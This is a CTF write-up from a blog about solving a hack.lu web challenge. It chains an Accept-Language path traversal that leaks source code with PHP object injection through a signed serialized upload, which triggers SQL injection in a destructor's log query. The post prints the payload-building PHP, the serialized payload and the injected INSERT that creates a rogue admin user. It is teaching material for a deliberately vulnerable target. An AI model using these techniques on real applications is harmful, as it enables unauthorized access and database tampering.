This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.
In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.
In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:
Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.
Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.
The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:
Accept-Language: foobar
Language (foobar) not available. Switching to default (en).
We know that the website fetches the text from files. Lets try a path traversal:
Accept-Language: index.php
Language (index.php) not available. Switching to default (en).
Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’
Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.
The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.
The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.
Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:
<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>
which will give you:
a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";}
You can also write this down manually (small introduction to serialize syntax):
a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end
However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.
Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.
function __destruct()
{
$this->sql_close();
}
function sql_close()
{
[...]
$this->createLog();
[...]
}
function createLog()
{
$ip = $this->escape($_SERVER['REMOTE_ADDR']);
$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
$log_table = $this->escape($this->log_table);
$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
$this->sql_query($query);
}
So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?
The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().
When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.
To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:
INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')
$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -
the query will become:
INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')
which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.
<?php
class sql_db
{
var $query_result;
var $row = array();
var $rowset = array();
var $num_queries = 0;
function sql_db()
{
$this->persistency = false;
$this->user = 'pigs';
$this->password = 'pigs';
$this->server = 'localhost';
$this->dbname = 'pigs';
$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
}
}
$db = new sql_db();
$payload = array (
'secretkey' => 'p1r4t3s.k1lly0u',
$db
);
echo serialize($payload);
?>
Now we can simply save the serialized payload into a file and upload it.
a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}
The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.
function printGold()
{
global $db;
$name = $db->escape($_POST['name']);
$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
if($db->sql_numrows($result) > 0)
{
$row = $db->sql_fetchrow($result);
echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
}
}
The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149
This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly 😉
Update: there is another writeup for this challenge in french available here
Posted by Reiners 
Reiners' Weblog 